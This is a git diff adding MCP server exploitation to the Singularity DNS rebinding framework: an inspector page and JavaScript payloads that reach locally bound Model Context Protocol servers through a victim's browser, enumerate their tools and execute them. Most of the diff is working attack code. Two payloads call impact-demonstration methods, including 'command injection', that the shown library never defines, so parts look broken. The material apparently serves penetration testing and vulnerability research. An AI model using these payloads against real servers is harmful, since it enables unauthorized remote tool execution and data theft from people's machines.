diff --git a/Readme.md b/Readme.md index 3be2b3a..768f5e0 100644 --- a/Readme.md +++ b/Readme.md @@ -38,6 +38,15 @@ Detailed documentation is on the [wiki pages](https://github.com/nccgroup/singul ### Hook and Control a Vulnerable Application on Localhost or Other Hosts ![Fetch an application home page](./screenshots/hookandcontrol.png) +### MCP Inspector - Exploit Model Context Protocol Servers +**NEW**: Dedicated interface for testing Model Context Protocol (MCP) servers for DNS rebinding vulnerabilities. Features include: +- Auto-detection of MCP endpoints and transport types (SSE/HTTP) +- Interactive tool execution with custom arguments +- Capability discovery and resource enumeration +- Real-time logging and impact demonstration + +Access at: `http://[your-server]/mcp-inspector.html` + ### Automate the Scan and Compromise of All Vulnerables Applications ![Fetch an application home page](./screenshots/autoattack.png) @@ -112,4 +121,8 @@ Singularity supports the following attack payloads: [Docker API](https://docs.docker.com/engine/api/latest/) and displays the `/etc/shadow` file of the Docker host. * **Ollama Llama2 Exfil** (`ollama-exfil.js`): Exfiltrate files from hosts running Ollama, an open-source system for running and managing large language models (LLMs). See blog [post](https://www.nccgroup.com/us/research-blog/technical-advisory-ollama-dns-rebinding-attack-cve-2024-28224/). -* And more, check the payloads folder (`html/payloads`). +* **MCP Exploit Runner** (`mcp-exploit-runner.js`): Interactive payload for exploiting Model Context Protocol (MCP) servers. Auto-detects endpoints and transports (SSE/HTTP), discovers capabilities, and executes tools. Use with `mcp-inspector.html` for a full-featured MCP exploitation interface. +* **MCP SSE** (`mcp-sse.js`): Legacy payload specifically for MCP servers using Server-Sent Events (SSE) transport. Superseded by `mcp-exploit-runner.js` but maintained for standalone use. +* **MCP Streamable HTTP** (`mcp-streamable-http.js`): Legacy payload specifically for MCP servers using HTTP (Streamable) transport. Superseded by `mcp-exploit-runner.js` but maintained for standalone use. +* And more, check the payloads folder (`html/payloads`). + diff --git a/html/index.html b/html/index.html index c6ffbb5..b6e1d8d 100644 --- a/html/index.html +++ b/html/index.html @@ -1 +1 @@ -iGo to Singularity Manager. Try the new, experimental HTTP port scanner. Test the automatic identification of vulnerable services on your network upon visiting this page. +iGo to Singularity Manager. Try the new, experimental HTTP port scanner. Test the automatic identification of vulnerable services on your network upon visiting this page. Exploit MCP servers with the new MCP Inspector. diff --git a/html/manager-config.json b/html/manager-config.json index 637bb5e..079be29 100644 --- a/html/manager-config.json +++ b/html/manager-config.json @@ -58,5 +58,14 @@ { "name": "Ray Jobs RCE", "ports": [8265] + }, { + "name": "MCP Streamable HTTP", + "ports": [3000,3001,5000, 5050, 8000,8080,8081, 64342] + }, { + "name": "MCP SSE", + "ports": [3000,3001,5000, 5050, 8000,8080,8081, 64342] + }, { + "name": "mcp-exploit-runner.js", + "ports": [3000,3001,5000, 5050, 8000,8080,8081, 64342] }] } diff --git a/html/mcp-inspector.html b/html/mcp-inspector.html new file mode 100644 index 0000000..1a4103f --- /dev/null +++ b/html/mcp-inspector.html @@ -0,0 +1,977 @@ + + + + + Singularity MCP Inspector - DNS Rebinding MCP Exploitation + + + + + + + + + +
+

Singularity MCP Inspector

+ + DNS Rebinding exploitation framework for Model Context Protocol (MCP) servers. + This tool allows you to test MCP servers for DNS rebinding vulnerabilities and demonstrate impact. + MCP Inspector Docs + + + +
+
+ + Status: Disconnected +
+
+ +
+ +
+
+
DNS Rebinding Configuration
+
+
+
+
+ +
+
+ +
+
+
+
+ +
+
+ +
+
+ +
+
+ +
+
+
+
+ +
+
+ +
+
+ +
+
+
+
+ + Attack server listening on: unknown + +
+
+
+
+ + +
+
+
MCP Connection Configuration
+
+
+
+
+ +
+
+ +
+
+ +
+
+ +
+
+
+
+ + Auto-detect will try common endpoints: /mcp, /mcp/, /sse, /sse/, /api/mcp, /api/sse. + Select a specific transport to manually specify an endpoint. + +
+
+
+
+ + +
+
+ +
+
+ +
+
+ +
+
+ +
+
+ + +
+
+
+
Advanced DNS Rebinding Options
+
+
+
+
+ +
+
+ +
+
+
+
+ +
+
+ +
+
+
+
+ +
+
+ +
+
+
+
+ +
+
+ +
+
+
+
+ +
+
+ +
+
+
+
+
+
+ + + + + +
+ +
+
+
+
MCP Server Capabilities
+
+
+ +
+

Initialize MCP session to discover capabilities.

+
+
+
+
+ + +
+
+
+
MCP Tools
+
+
+ +
+
+

Initialize MCP session to list tools.

+
+
+
+
+ + +
+
+
+
MCP Prompts
+
+
+ +
+
+

Initialize MCP session to list prompts.

+
+
+
+
+ + +
+
+
+
MCP Resources
+
+
+ +
+

Initialize MCP session to list resources.

+
+
+
+
+ + +
+
+
+
Activity Logs
+ +
+
+
+
+
+
+
+ + +
+ Please wait for DNS cache entries to expire and rebinding to complete... +
+
+
+ + + + + + diff --git a/html/payloads/mcp-common.js b/html/payloads/mcp-common.js new file mode 100644 index 0000000..d8e4249 --- /dev/null +++ b/html/payloads/mcp-common.js @@ -0,0 +1,537 @@ +/** + * Common MCP (Model Context Protocol) client infrastructure + * Provides base classes for implementing MCP clients over different transports + * Reference: https://modelcontextprotocol.io/specification/2024-11-05 + * Reference: https://modelcontextprotocol.io/specification/2025-03-26 + */ + +/** + * Base MCP client class with common JSON-RPC and protocol logic + */ +class McpClient { + constructor(endpoint, protocolVersion) { + this.server_endpoint = endpoint; + this.protocolVersion = protocolVersion; + this.rpcId = 1; + this.sessionId = null; + this.isConnected = false; + } + + /** + * Get next JSON-RPC message ID + */ + nextId() { + return this.rpcId++; + } + + /** + * Create a JSON-RPC 2.0 message + */ + jsonrpc(method, params) { + return { + jsonrpc: "2.0", + id: this.nextId(), + method, + params: params || {} + }; + } + + /** + * Create a JSON-RPC 2.0 notification (no ID) + */ + jsonrpcNotification(method, params) { + return { + jsonrpc: "2.0", + method, + params: params || {} + }; + } + + /** + * Parse MCP response, handling both plain JSON and SSE format + */ + parseMcpResponse(text) { + let resp; + + // Check for SSE format: data: {...} (with or without event: prefix) + if (text.includes('data: ')) { + const dataMatch = text.match(/data: (.+)$/m); + if (dataMatch) { + try { + resp = JSON.parse(dataMatch[1]); + } catch (_e) { + console.log('Failed to parse SSE data:', dataMatch[1]); + } + } + } + + // If not SSE or SSE parsing failed, try plain JSON + if (!resp) { + try { + resp = JSON.parse(text); + } catch (_e) { + console.log('Failed to parse as JSON:', text.substring(0, 100)); + } + } + + return resp; + } + + /** + * Initialize MCP session with server + */ + async initialize(clientInfo = { name: "singularity", version: "0.0.1" }) { + console.log('Initializing MCP session...'); + + const initMessage = this.jsonrpc("initialize", { + protocolVersion: this.protocolVersion, + capabilities: {}, + clientInfo + }); + + const response = await this.sendAndWaitForResponse(initMessage, 10000); + + if (!response || response.error) { + throw new Error(`MCP init failed: ${response?.error?.message || 'No response'}`); + } + + console.log('MCP initialize OK:', response); + + // Extract session ID if provided + if (response.result?.sessionId) { + this.sessionId = response.result.sessionId; + console.log('Extracted session ID:', this.sessionId); + } + + return response; + } + + /** + * Send initialized notification to complete handshake + */ + async sendInitializedNotification() { + try { + const notification = this.jsonrpcNotification("notifications/initialized", {}); + await this.sendMessage(notification); + console.log('Sent initialized notification'); + + // Give server time to process + await new Promise(resolve => setTimeout(resolve, 100)); + } catch (e) { + console.log('initialized notification failed:', e.message); + } + } + + /** + * Complete initialization sequence (initialize + initialized notification) + */ + async initializeSession(clientInfo) { + const initResponse = await this.initialize(clientInfo); + await this.sendInitializedNotification(); + this.isConnected = true; + return initResponse; + } + + /** + * List available MCP capabilities (resources, prompts, tools, etc.) + */ + async listCapabilities() { + const methods = [ + "resources/list", + "ping", + "prompts/list", + "tools/list", + "logging/list", + "completions/list" + ]; + + const results = {}; + + for (const method of methods) { + try { + console.log(`Trying ${method}...`); + const request = this.jsonrpc(method, {}); + const response = await this.sendAndWaitForResponse(request); + + if (response && !response.error) { + console.log(`MCP ${method}:`, response); + results[method] = response; + } else { + console.log(`MCP ${method} failed:`, response?.error || 'No response'); + results[method] = { error: response?.error || 'No response' }; + } + } catch (e) { + console.log(`MCP ${method} error:`, e.message); + results[method] = { error: e.message }; + } + } + + return results; + } + + /** + * Call a tool by name with given arguments + */ + async callTool(toolName, args = {}, progressToken = 0) { + const request = this.jsonrpc("tools/call", { + name: toolName, + arguments: args, + _meta: { + progressToken + } + }); + + return await this.sendAndWaitForResponse(request, 10000); + } + + + + /** + * Abstract methods - must be implemented by subclasses + */ + async connect() { + throw new Error('connect() must be implemented by subclass'); + } + + async sendMessage(_message) { + throw new Error('sendMessage() must be implemented by subclass'); + } + + async sendAndWaitForResponse(_message, _timeoutMs) { + throw new Error('sendAndWaitForResponse() must be implemented by subclass'); + } + + async close() { + throw new Error('close() must be implemented by subclass'); + } + + async isServiceDetected() { + throw new Error('isServiceDetected() must be implemented by subclass'); + } +} + +/** + * MCP client using Server-Sent Events (SSE) transport + * Implements the MCP SSE transport as defined in the specification + */ +class McpSseClient extends McpClient { + constructor(sseEndpoint = "/sse") { + super(sseEndpoint, "2024-11-05"); + this.sessionEndpoint = null; + this.eventSource = null; + this.messageHandlers = new Map(); + } + + /** + * Connect to SSE endpoint and wait for session endpoint + */ + async connect() { + console.log(`Connecting to SSE endpoint: ${this.server_endpoint}`); + + this.eventSource = new EventSource(this.server_endpoint); + + // Wait for the endpoint event + return new Promise((resolve, reject) => { + const timeout = setTimeout(() => { + reject(new Error('Timeout waiting for endpoint')); + }, 10000); + + this.eventSource.addEventListener('endpoint', (event) => { + clearTimeout(timeout); + this.sessionEndpoint = event.data; + console.log(`Received session endpoint: ${this.sessionEndpoint}`); + resolve(); + }); + + this.eventSource.addEventListener('message', (event) => { + try { + const response = this.parseMcpResponse(event.data); + if (response && response.id && this.messageHandlers.has(response.id)) { + this.messageHandlers.get(response.id)(response); + } else { + console.log('Received server message:', response); + } + } catch (_e) { + console.log('Received raw message:', event.data); + } + }); + + this.eventSource.onerror = (error) => { + console.log('SSE connection error:', error); + console.log('\tEventSource readyState:', this.eventSource.readyState); + console.log('\tEventSource URL:', this.eventSource.url); + + const stateNames = ['CONNECTING', 'OPEN', 'CLOSED']; + console.log(`\tEventSource state: ${stateNames[this.eventSource.readyState] || 'UNKNOWN'}`); + + if (error.status) { + console.log(`\tHTTP Status: ${error.status} ${error.message || ''}`); + } + + if (this.eventSource.readyState === EventSource.CLOSED) { + console.log('\tSSE connection has been closed'); + } + }; + }); + } + + /** + * Send message via POST to session endpoint + */ + async sendMessage(message) { + if (!this.sessionEndpoint) { + throw new Error('No session endpoint available'); + } + + const response = await sooFetch(this.sessionEndpoint, { + method: 'POST', + credentials: 'omit', + headers: { + 'content-type': 'application/json', + 'accept': 'application/json' + }, + body: JSON.stringify(message) + }); + + return response; + } + + /** + * Send message and wait for response via SSE + */ + async sendAndWaitForResponse(message, timeoutMs = 5000) { + return new Promise((resolve, reject) => { + const messageId = message.id; + const timeoutId = setTimeout(() => { + this.messageHandlers.delete(messageId); + reject(new Error('Message response timeout')); + }, timeoutMs); + + this.messageHandlers.set(messageId, (response) => { + clearTimeout(timeoutId); + this.messageHandlers.delete(messageId); + resolve(response); + }); + + this.sendMessage(message).catch(reject); + }); + } + + /** + * Close SSE connection + */ + async close() { + if (this.eventSource) { + this.eventSource.close(); + console.log('SSE connection closed'); + } + this.isConnected = false; + } + + /** + * Detect if service is MCP SSE + */ + async isServiceDetected() { + try { + return new Promise((resolve) => { + let testEventSource = null; + + const timeout = setTimeout(() => { + console.log('SSE detection timeout after 5s for', this.server_endpoint); + if (testEventSource) { + testEventSource.close(); + } + resolve(false); + }, 5000); // Increased timeout to 5 seconds + + console.log('Testing SSE endpoint:', this.server_endpoint); + testEventSource = new EventSource(this.server_endpoint); + + testEventSource.addEventListener('endpoint', (event) => { + clearTimeout(timeout); + console.log('SSE endpoint event received:', event.data); + testEventSource.close(); + // Check if the endpoint data looks like a valid MCP endpoint + const isValid = event.data && (event.data.includes('sessionId') || event.data.startsWith('/')); + console.log('SSE endpoint valid?', isValid); + resolve(isValid); + }); + + testEventSource.addEventListener('open', () => { + console.log('SSE connection opened for', this.server_endpoint); + }); + + testEventSource.onerror = (error) => { + clearTimeout(timeout); + console.log('SSE connection error for', this.server_endpoint, error); + console.log('EventSource readyState:', testEventSource.readyState); + if (testEventSource) { + testEventSource.close(); + } + resolve(false); + }; + }); + } catch (e) { + console.error('SSE detection exception:', e); + return false; + } + } +} + +/** + * MCP client using Streamable HTTP transport + * Uses HTTP POST requests with optional SSE streaming in responses + */ +class McpStreamableHttpClient extends McpClient { + constructor(endpoint = "/mcp") { + super(endpoint, "2025-03-26"); + } + + /** + * Connect (no-op for HTTP, connection is per-request) + */ + async connect() { + // HTTP doesn't need persistent connection + console.log(`Using HTTP endpoint: ${this.server_endpoint}`); + } + + /** + * Send message via HTTP POST + */ + async sendMessage(message) { + const headers = { + 'content-type': 'application/json', + 'accept': 'application/json, text/event-stream' + }; + + if (this.sessionId) { + headers['mcp-session-id'] = this.sessionId; + } + + console.log('McpStreamableHttpClient sending to:', this.server_endpoint); + console.log('Message:', message); + console.log('typeof sooFetch:', typeof sooFetch); + + try { + const response = await sooFetch(this.server_endpoint, { + method: 'POST', + credentials: 'omit', + headers, + body: JSON.stringify(message) + }); + + console.log('sooFetch response:', response); + return response; + } catch (error) { + console.error('sooFetch error:', error); + console.error('Error details:', { + message: error.message, + name: error.name, + stack: error.stack + }); + throw error; + } + } + + /** + * Read streaming response fully (for text/event-stream) + */ + async readStreamResponse(response) { + const reader = response.body.getReader(); + const decoder = new TextDecoder(); + let fullText = ''; + + try { + while (true) { + const { done, value } = await reader.read(); + if (done) break; + fullText += decoder.decode(value, { stream: true }); + + // Check if we have a complete JSON-RPC message + // SSE format ends with double newline + if (fullText.includes('\n\n') || fullText.includes('data: ')) { + // Try to parse what we have + const parsed = this.parseMcpResponse(fullText); + if (parsed && parsed.jsonrpc) { + // Got a complete message + break; + } + } + } + } finally { + reader.releaseLock(); + } + + return fullText; + } + + /** + * Send message and wait for response (HTTP request/response) + */ + async sendAndWaitForResponse(message, _timeoutMs = 5000) { + const response = await this.sendMessage(message); + const contentType = response.headers.get('content-type'); + + console.log('Response content-type:', contentType); + console.log('Response status:', response.status); + + // Extract session ID from headers on first request + if (!this.sessionId) { + const sessionIdHeader = response.headers.get('mcp-session-id'); + if (sessionIdHeader) { + this.sessionId = sessionIdHeader; + console.log('Extracted MCP session ID from headers:', this.sessionId); + } + } + + let responseText; + + // Handle streaming responses (text/event-stream) + if (contentType && contentType.includes('text/event-stream')) { + console.log('Detected SSE streaming response - reading stream...'); + responseText = await this.readStreamResponse(response); + } else { + responseText = await response.text(); + } + + console.log('Response text (first 200 chars):', responseText.substring(0, 200)); + + return this.parseMcpResponse(responseText); + } + + /** + * Close (no-op for HTTP) + */ + async close() { + // HTTP doesn't need explicit connection close + this.isConnected = false; + } + + /** + * Detect if service is MCP via HTTP + */ + async isServiceDetected() { + try { + console.log('Detecting MCP HTTP service at:', this.server_endpoint); + + // Temporarily increase timeout for detection of slow servers + const originalTimeout = 15000; // 15 seconds for slow servers + const initMessage = this.jsonrpc("initialize", { + protocolVersion: this.protocolVersion, + capabilities: {}, + clientInfo: { name: "singularity-probe", version: "1.0.0" } + }); + + const initResponse = await this.sendAndWaitForResponse(initMessage, originalTimeout); + + console.log('HTTP detection - initialize response:', initResponse); + + // If initialize succeeded, it's an MCP server + return !!(initResponse && !initResponse.error); + } catch (e) { + console.log('HTTP detection failed:', e.message); + return false; + } + } +} + diff --git a/html/payloads/mcp-exploit-runner.js b/html/payloads/mcp-exploit-runner.js new file mode 100644 index 0000000..a1dbb93 --- /dev/null +++ b/html/payloads/mcp-exploit-runner.js @@ -0,0 +1,520 @@ +/** + * MCP Exploit Runner - Payload for DNS Rebinding MCP Exploitation + * + * Runs in the rebound iframe and communicates with mcp-inspector.html via postMessage + * Uses mcp-common.js for MCP client functionality + */ + +// Import mcp-common.js (assumed to be loaded before this script) +// McpSseClient and McpStreamableHttpClient should be available + +/** + * MCP Exploit Runner - Handles MCP operations in rebounding iframe + */ +class McpExploitRunner { + constructor() { + this.mcpClient = null; + this.transport = null; + this.endpoint = null; + this.initialized = false; + this.detectionInitialized = false; // Track if detection already called initialize + } + + /** + * Send log message to parent + */ + log(message, level = 'info') { + console.log(`[MCP Runner ${level.toUpperCase()}]`, message); + this.sendToParent({ + type: 'mcp-log', + message: message, + level: level + }); + } + + /** + * Send message to parent window + */ + sendToParent(data) { + if (window.parent) { + window.parent.postMessage(data, '*'); + } + } + + /** + * Common MCP endpoint paths to try + */ + getCommonEndpoints() { + return [ + '/mcp', + '/mcp/', + '/sse', + '/sse/', + '/api/mcp', + '/api/mcp/', + '/api/sse', + '/api/sse/' + ]; + } + + /** + * Auto-detect MCP endpoint and transport + */ + async detectEndpoint(baseEndpoint = null, transportHint = 'auto') { + this.log('Starting MCP endpoint detection...'); + + let endpoints = []; + + if (baseEndpoint && baseEndpoint !== '' && transportHint !== 'auto') { + // User specified a specific endpoint and transport - only try that exact one + endpoints.push(baseEndpoint); + } else if (baseEndpoint && baseEndpoint !== '') { + // User specified endpoint but auto transport - try with and without trailing slash + endpoints.push(baseEndpoint); + if (!baseEndpoint.endsWith('/')) { + endpoints.push(baseEndpoint + '/'); + } + } else { + // Auto-detect everything - try common endpoints + endpoints = this.getCommonEndpoints(); + } + + // Try each endpoint with different transports + for (const endpoint of endpoints) { + // Try HTTP transport first (more common) + if (transportHint === 'auto' || transportHint === 'http') { + try { + this.log(`Trying HTTP transport at ${endpoint}...`); + const httpClient = new McpStreamableHttpClient(endpoint); + await httpClient.connect(); + + if (await httpClient.isServiceDetected()) { + this.log(`✓ MCP HTTP service detected at ${endpoint}`, 'success'); + this.mcpClient = httpClient; + this.transport = 'http'; + this.endpoint = endpoint; + this.detectionInitialized = true; // Detection already called initialize + + this.sendToParent({ + type: 'mcp-endpoint-detected', + success: true, + endpoint: endpoint, + transport: 'http' + }); + + return true; + } + } catch (e) { + this.log(`HTTP detection failed at ${endpoint}: ${e.message}`); + } + } + + // Try SSE transport + if (transportHint === 'auto' || transportHint === 'sse') { + try { + this.log(`Trying SSE transport at ${endpoint}...`); + const sseClient = new McpSseClient(endpoint); + + if (await sseClient.isServiceDetected()) { + this.log(`✓ MCP SSE service detected at ${endpoint}`, 'success'); + this.mcpClient = sseClient; + this.transport = 'sse'; + this.endpoint = endpoint; + + this.sendToParent({ + type: 'mcp-endpoint-detected', + success: true, + endpoint: endpoint, + transport: 'sse' + }); + + return true; + } + } catch (e) { + this.log(`SSE detection failed at ${endpoint}: ${e.message}`); + } + } + } + + this.log('No MCP endpoint detected', 'error'); + this.sendToParent({ + type: 'mcp-endpoint-detected', + success: false, + error: 'No MCP service found at specified endpoints' + }); + + return false; + } + + /** + * Initialize MCP session + */ + async initializeMcp() { + if (!this.mcpClient) { + this.log('Cannot initialize: No MCP client available', 'error'); + this.sendToParent({ + type: 'mcp-initialized', + success: false, + error: 'No MCP client available. Run endpoint detection first.' + }); + return false; + } + + try { + // Check if detection already initialized + if (this.detectionInitialized) { + this.log('Session already initialized during detection - sending initialized notification only'); + await this.mcpClient.sendInitializedNotification(); + this.initialized = true; + + this.sendToParent({ + type: 'mcp-initialized', + success: true, + serverInfo: { name: 'MCP Server', version: 'unknown' } // Detection doesn't save serverInfo + }); + + return true; + } + + // Normal initialization flow (for SSE or if detection didn't initialize) + this.log('Connecting to MCP server...'); + await this.mcpClient.connect(); + + this.log('Initializing MCP session...'); + const initResponse = await this.mcpClient.initializeSession({ + name: 'singularity-mcp-inspector', + version: '1.0.0' + }); + + this.initialized = true; + this.log('MCP session initialized successfully!', 'success'); + + this.sendToParent({ + type: 'mcp-initialized', + success: true, + serverInfo: initResponse.result?.serverInfo || {} + }); + + return true; + } catch (e) { + this.log(`MCP initialization failed: ${e.message}`, 'error'); + this.sendToParent({ + type: 'mcp-initialized', + success: false, + error: e.message + }); + return false; + } + } + + /** + * Discover all MCP capabilities + */ + async discoverCapabilities() { + if (!this.initialized) { + this.log('Cannot discover capabilities: MCP not initialized', 'error'); + return; + } + + try { + this.log('Discovering MCP capabilities...'); + const capabilities = await this.mcpClient.listCapabilities(); + + this.log('Capabilities discovered', 'success'); + this.sendToParent({ + type: 'mcp-capabilities', + capabilities: capabilities + }); + } catch (e) { + this.log(`Capability discovery failed: ${e.message}`, 'error'); + } + } + + /** + * List available tools + */ + async listTools() { + if (!this.initialized) { + this.log('Cannot list tools: MCP not initialized', 'error'); + return; + } + + try { + this.log('Listing MCP tools...'); + const request = this.mcpClient.jsonrpc('tools/list', {}); + const response = await this.mcpClient.sendAndWaitForResponse(request); + + if (response && !response.error) { + const tools = response.result?.tools || []; + this.log(`Found ${tools.length} tools`, 'success'); + + this.sendToParent({ + type: 'mcp-tools', + tools: tools + }); + } else { + this.log('Failed to list tools: ' + (response?.error?.message || 'Unknown error'), 'error'); + this.sendToParent({ + type: 'mcp-tools', + tools: [] + }); + } + } catch (e) { + this.log(`Tool listing failed: ${e.message}`, 'error'); + } + } + + /** + * List available prompts + */ + async listPrompts() { + if (!this.initialized) { + this.log('Cannot list prompts: MCP not initialized', 'error'); + return; + } + + try { + this.log('Listing MCP prompts...'); + const request = this.mcpClient.jsonrpc('prompts/list', {}); + const response = await this.mcpClient.sendAndWaitForResponse(request); + + if (response && !response.error) { + const prompts = response.result?.prompts || []; + this.log(`Found ${prompts.length} prompts`, 'success'); + + this.sendToParent({ + type: 'mcp-prompts', + prompts: prompts + }); + } else { + this.log('Failed to list prompts', 'error'); + this.sendToParent({ + type: 'mcp-prompts', + prompts: [] + }); + } + } catch (e) { + this.log(`Prompt listing failed: ${e.message}`, 'error'); + } + } + + /** + * List available resources + */ + async listResources() { + if (!this.initialized) { + this.log('Cannot list resources: MCP not initialized', 'error'); + return; + } + + try { + this.log('Listing MCP resources...'); + const request = this.mcpClient.jsonrpc('resources/list', {}); + const response = await this.mcpClient.sendAndWaitForResponse(request); + + if (response && !response.error) { + const resources = response.result?.resources || []; + this.log(`Found ${resources.length} resources`, 'success'); + + this.sendToParent({ + type: 'mcp-resources', + resources: resources + }); + } else { + this.log('Failed to list resources', 'error'); + this.sendToParent({ + type: 'mcp-resources', + resources: [] + }); + } + } catch (e) { + this.log(`Resource listing failed: ${e.message}`, 'error'); + } + } + + /** + * Call a specific tool + */ + async callTool(toolName, args = {}) { + if (!this.initialized) { + this.log('Cannot call tool: MCP not initialized', 'error'); + return; + } + + try { + this.log(`Calling tool: ${toolName} with args: ${JSON.stringify(args)}`); + const response = await this.mcpClient.callTool(toolName, args); + + // Debug: log the full response + console.log('Full MCP tool response:', response); + console.log('Response type:', typeof response); + console.log('Response.result:', response?.result); + console.log('Response.error:', response?.error); + + if (response && !response.error) { + this.log(`Tool ${toolName} executed successfully`, 'success'); + + // Send the entire response, not just response.result + this.sendToParent({ + type: 'mcp-tool-result', + toolName: toolName, + result: response.result || response, // Fallback to full response if result is missing + fullResponse: response // Include full response for debugging + }); + } else { + this.log(`Tool execution failed: ${response?.error?.message || 'Unknown error'}`, 'error'); + this.sendToParent({ + type: 'mcp-tool-result', + toolName: toolName, + result: null, + error: response?.error?.message || 'Unknown error', + fullResponse: response + }); + } + } catch (e) { + this.log(`Tool execution error: ${e.message}`, 'error'); + console.error('Tool execution exception:', e); + this.sendToParent({ + type: 'mcp-tool-result', + toolName: toolName, + result: null, + error: e.message + }); + } + } + + + /** + * Call a specific prompt + */ + async callPrompt(promptName, args = {}) { + if (!this.initialized) { + this.log('Cannot call prompt: MCP not initialized', 'error'); + return; + } + + try { + this.log(`Getting prompt: ${promptName} with args: ${JSON.stringify(args)}`); + const request = this.mcpClient.jsonrpc('prompts/get', { + name: promptName, + arguments: args + }); + + const response = await this.mcpClient.sendAndWaitForResponse(request); + + if (response && !response.error) { + this.log(`Prompt ${promptName} retrieved successfully`, 'success'); + + this.sendToParent({ + type: 'mcp-prompt-result', + promptName: promptName, + result: response.result + }); + } else { + this.log(`Prompt retrieval failed: ${response?.error?.message || 'Unknown error'}`, 'error'); + this.sendToParent({ + type: 'mcp-prompt-result', + promptName: promptName, + result: null, + error: response?.error?.message || 'Unknown error' + }); + } + } catch (e) { + this.log(`Prompt retrieval error: ${e.message}`, 'error'); + this.sendToParent({ + type: 'mcp-prompt-result', + promptName: promptName, + result: null, + error: e.message + }); + } + } + + /** + * Handle messages from parent window + */ + handleMessage(event) { + const data = event.data; + + if (!data || !data.cmd) { + return; // Not a command message + } + + switch (data.cmd) { + case 'detectMcp': + this.detectEndpoint(data.endpoint, data.transport); + break; + + case 'initializeMcp': + this.initializeMcp(); + break; + + case 'discoverCapabilities': + this.discoverCapabilities(); + break; + + case 'listTools': + this.listTools(); + break; + + case 'listPrompts': + this.listPrompts(); + break; + + case 'listResources': + this.listResources(); + break; + + case 'callTool': + this.callTool(data.toolName, data.args); + break; + + case 'callPrompt': + this.callPrompt(data.promptName, data.args); + break; + + case 'stop': + this.log('Stop command received'); + break; + } + } +} + +// Initialize the runner +const mcpRunner = new McpExploitRunner(); + +// Listen for messages from parent +window.addEventListener('message', (event) => { + mcpRunner.handleMessage(event); +}, false); + +// Log that we're ready +mcpRunner.log('MCP Exploit Runner loaded and ready'); + +/** + * Registry-compatible wrapper for Singularity framework integration + */ +if (typeof Registry !== 'undefined') { + Registry['mcp-exploit-runner.js'] = (() => { + return { + // Service detection - always return true since we rely on MCP endpoint detection + async isService(_headers, _cookie, _body) { + return true; + }, + + // Attack method - not used in mcp-inspector flow, but required for Registry + async attack(_headers, _cookie, _body, _wsproxyport) { + mcpRunner.log('Attack method called - waiting for postMessage commands'); + // The actual attack flow is driven by postMessage from mcp-inspector.html + // Just signal that we're ready + if (window.parent) { + window.parent.postMessage({ + status: 'success', + response: 'MCP Exploit Runner ready for commands' + }, '*'); + } + } + }; + })(); +} + diff --git a/html/payloads/mcp-sse.js b/html/payloads/mcp-sse.js new file mode 100644 index 0000000..f4538a2 --- /dev/null +++ b/html/payloads/mcp-sse.js @@ -0,0 +1,55 @@ +/** + * Model Context Protocol (MCP) over HTTP with Server-Sent Events (SSE) via DNS rebinding + * Implements the MCP SSE transport as defined in: + * https://modelcontextprotocol.io/specification/2024-11-05/basic/transports + * + * SSE Transport Flow: + * 1. Client connects to SSE endpoint to receive server messages + * 2. Server sends 'endpoint' event with URI for client messages + * 3. Client sends messages via HTTP POST to the endpoint URI + * 4. Server sends responses via SSE 'message' events + */ + +const McpSse = () => { + // Invoked after DNS rebinding has been performed + async function attack(_headers, _cookie, _body, _wsProxyPort) { + const client = new McpSseClient("/sse"); + + try { + console.log('Starting MCP SSE attack...'); + + // Connect to SSE endpoint + await client.connect(); + + // Initialize MCP session + await client.initializeSession(); + + // Try to list available functionality + await client.listCapabilities(); + + // Try to demonstrate impact with printEnv tool + await client.demonstrateImpactPrintEnv(); + + // Exploit command injection vulnerability + await client.demonstrateCommandInjection(); + + } catch (e) { + console.log(`MCP SSE attack error: ${e}`); + } finally { + // Clean up SSE connection + await client.close(); + } + } + + // Invoked to determine whether the rebinded service is likely MCP SSE + async function isService(_headers, _cookie, _body) { + const client = new McpSseClient("/sse"); + return await client.isServiceDetected(); + } + + return { attack, isService }; +} + +// Registry value and manager-config.json value must match +Registry["MCP SSE"] = McpSse(); + diff --git a/html/payloads/mcp-streamable-http.js b/html/payloads/mcp-streamable-http.js new file mode 100644 index 0000000..e183da8 --- /dev/null +++ b/html/payloads/mcp-streamable-http.js @@ -0,0 +1,45 @@ +/** + * Model Context Protocol (MCP) over HTTP(S) via DNS rebinding + * Minimal client: detect MCP server, initialize session, list tools. + * Reference: MCP uses JSON-RPC 2.0 and may expose HTTP POST + SSE streams. + * Default local ports vary; many dev servers bind 127.0.0.1. + */ + +const McpStreamableHttp = () => { + // Invoked after DNS rebinding has been performed + async function attack(_headers, _cookie, _body, _wsProxyPort) { + const client = new McpStreamableHttpClient("/mcp"); + + try { + console.log('Starting MCP Streamable HTTP attack...'); + + // Connect (no-op for HTTP) + await client.connect(); + + // Initialize MCP session + await client.initializeSession(); + + // Try to list available functionality + await client.listCapabilities(); + + // Demonstrate impact with printEnv tool + await client.demonstrateImpactPrintEnv(); + + } catch (e) { + console.log(`MCP attack error: ${e}`); + } finally { + await client.close(); + } + } + + // Invoked to determine whether the rebinded service is likely MCP + async function isService(_headers, _cookie, _body) { + const client = new McpStreamableHttpClient("/mcp"); + return await client.isServiceDetected(); + } + + return { attack, isService }; +} + +// Registry value and manager-config.json value must match +Registry["MCP Streamable HTTP"] = McpStreamableHttp(); diff --git a/html/singularity.html b/html/singularity.html index a74a8bd..b9cc9dc 100644 --- a/html/singularity.html +++ b/html/singularity.html @@ -25,6 +25,7 @@

Singularity of Origin

  • Source Code: https://github.com/nccgroup/singularity
  • Documentation: https://github.com/nccgroup/singularity/wiki
  • The Singularity Manager web interface
  • +
  • NEW: MCP Inspector - Exploit Model Context Protocol (MCP) servers
  • Try the experimental HTTP port scanner
  • Test the automatic identification of vulnerable services on your network upon visiting this page